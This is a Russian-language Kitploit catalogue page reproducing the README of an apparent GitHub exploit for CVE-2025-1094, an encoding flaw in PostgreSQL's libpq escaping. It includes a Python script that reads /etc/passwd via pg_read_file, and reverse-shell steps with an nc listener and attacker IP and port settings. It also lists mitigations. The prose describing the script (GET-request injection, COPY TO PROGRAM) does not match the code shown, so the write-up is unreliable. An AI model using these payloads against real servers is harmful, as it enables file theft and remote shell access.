Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-1094 — Это ошибка санитизации ввода, вызванная несоответствием кодировок, что позволяет специально сформированному вводу обойти фильтры. Если сервер уязвим, злоумышленник может внедрить вредоносный SQL, который выполняется на серверной стороне. | Kitploit
Инструменты/GitHubGitHub/aninfosec/cve-2025-1094
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиБезопасность Баз ДанныхЛаборатории и Практика
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

Это ошибка санитизации ввода, вызванная несоответствием кодировок, что позволяет специально сформированному вводу обойти фильтры. Если сервер уязвим, злоумышленник может внедрить вредоносный SQL, который выполняется на серверной стороне.

121 год назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Я написал этот эксплойт, ссылаясь на PoC, доступный по адресу CVE-2025-1094

CVE‑2025‑1094 | Уязвимость санитизации ввода в PostgreSQL

Обзор

CVE‑2025‑1094 — это уязвимость санитизации ввода в escape-функциях libpq PostgreSQL и интерактивном инструменте psql. Она вызвана некорректной обработкой многобайтовых кодировок, когда клиентская кодировка установлена в BIG5. При определённых условиях это может привести к неправильной обработке escape-символов, что позволяет злоумышленникам обходить предполагаемые границы запросов.

Эта уязвимость была обнаружена компанией Rapid7 при анализе CVE‑2024‑12356, отдельной проблемы в устройствах BeyondTrust. Поведение PostgreSQL было использовано как часть более широкой цепочки уязвимостей для дальнейшего влияния на поведение бэкенда.

Как это работает

Когда веб-сервер или приложение передаёт пользовательский ввод напрямую в SQL-запросы, выполняемые через psql, и client_encoding установлена в BIG5, специально сформированный ввод может досрочно завершить SQL-выражение и добавить вредоносный SQL.

Это позволяет выполнять дополнительные операции, такие как чтение локальных файлов (например, /etc/passwd) через функции PostgreSQL lo_export, pg_read_file и подобные.

По умолчанию это не является уязвимостью удалённого выполнения кода (RCE) в PostgreSQL. Скорее, это неправильное использование клиентских API PostgreSQL, которое при некорректной фильтрации или экранировании может быть использовано для утечки содержимого конфиденциальных файлов или потенциально опасного SQL.

Влияние

  • Позволяет читать файлы с сервера PostgreSQL, если он настроен небезопасно.
  • Позволяет злоумышленникам с действительными учётными данными использовать COPY TO, pg_read_file или lo_export в сочетании с SQL-инъекциями в клиентских приложениях.
  • Эксплойты эффективны только при кодировке клиента BIG5 и отсутствии должной санитизации ввода.

Условия, необходимые для эксплуатации

  • Злоумышленник имеет действительные учётные данные PostgreSQL (аутентифицированный контекст) или доступ к веб-серверу, который передаёт входные данные напрямую на сервер PostgreSQL.
  • Бэкенд SQL — PostgreSQL, использующий уязвимую версию (до исправленных версий июня 2025 года).
  • Приложение напрямую передаёт несанитизированный ввод в SQL.
  • Клиент PostgreSQL настроен с client_encoding=BIG5.

Демонстрация эксплойта

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# Полезная нагрузка для чтения /etc/passwd в файл, доступный серверу
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ Что делает этот эксплойт.py:

Устанавливает PGCLIENTENCODING=BIG5 в окружении (условие триггера).

Формирует полезную нагрузку SQL-инъекции для выхода из запроса и вставки новой команды COPY TO PROGRAM.

Отправляет полезную нагрузку через GET-запрос к уязвимому веб-серверу (/search?q=...).

Если бэкенд использует psql и несанитизированный ввод, COPY TO PROGRAM выполняется и записывает результат или открывает оболочку.

⚠️ Обратная оболочка сработает только если сервер:

root@kitploit:~
Выполняет SQL через psql (не параметризованные драйверы БД)

Разрешает COPY TO PROGRAM (требуется суперпользователь)

Имеет исходящее подключение к атакующему

#Скрипт на Python отправляет специально сформированную полезную нагрузку на уязвимый веб-сервер, который передаёт ввод напрямую в процесс psql PostgreSQL с кодировкой BIG5: Шаги для использования:

Запустите слушатель в терминале:

nc -lvnp 4444

Отредактируйте скрипт эксплойта:

Установите TARGET_URL на IP-адрес или домен целевого сервера. Убедитесь, что ENDPOINT соответствует маршруту (например, /search). Настройте REVERSE_IP и REVERSE_PORT в соответствии с вашей атакующей машиной.

Запустите скрипт в другом терминале:

python3 exploit.py

Результат: В случае успеха вы получите соединение на вашем слушателе. Если нет, попробуйте прочитать файлы (например, /etc/passwd) с помощью полезных нагрузок pg_read_file.

Лабораторная среда

Для тестирования этого:

  • PostgreSQL 14.x (или более ранние уязвимые версии).
  • Инициализирован с кодировкой EUC_TW или подобной.
  • Прикладной уровень (например, Flask) взаимодействует с PostgreSQL через psql или неэкранированный динамический SQL.
  • Пользователь PostgreSQL должен иметь доступ к функциям типа pg_read_file или lo_export.

Меры защиты

  • Обновите PostgreSQL до исправленных версий (≥ 17.3, 16.7, 15.11, 14.16, 13.19).
  • Избегайте client_encoding=BIG5, если это явно не требуется.
  • Никогда не передавайте необработанный пользовательский ввод в контекст выполнения SQL.
  • Используйте подготовленные выражения и библиотеки валидации ввода.

Ссылки

  • Rapid7 Blog: Technical Analysis
  • PostgreSQL Advisory: Security Release June 2025
  • CVE Details: CVE-2025-1094
Скачать инструмент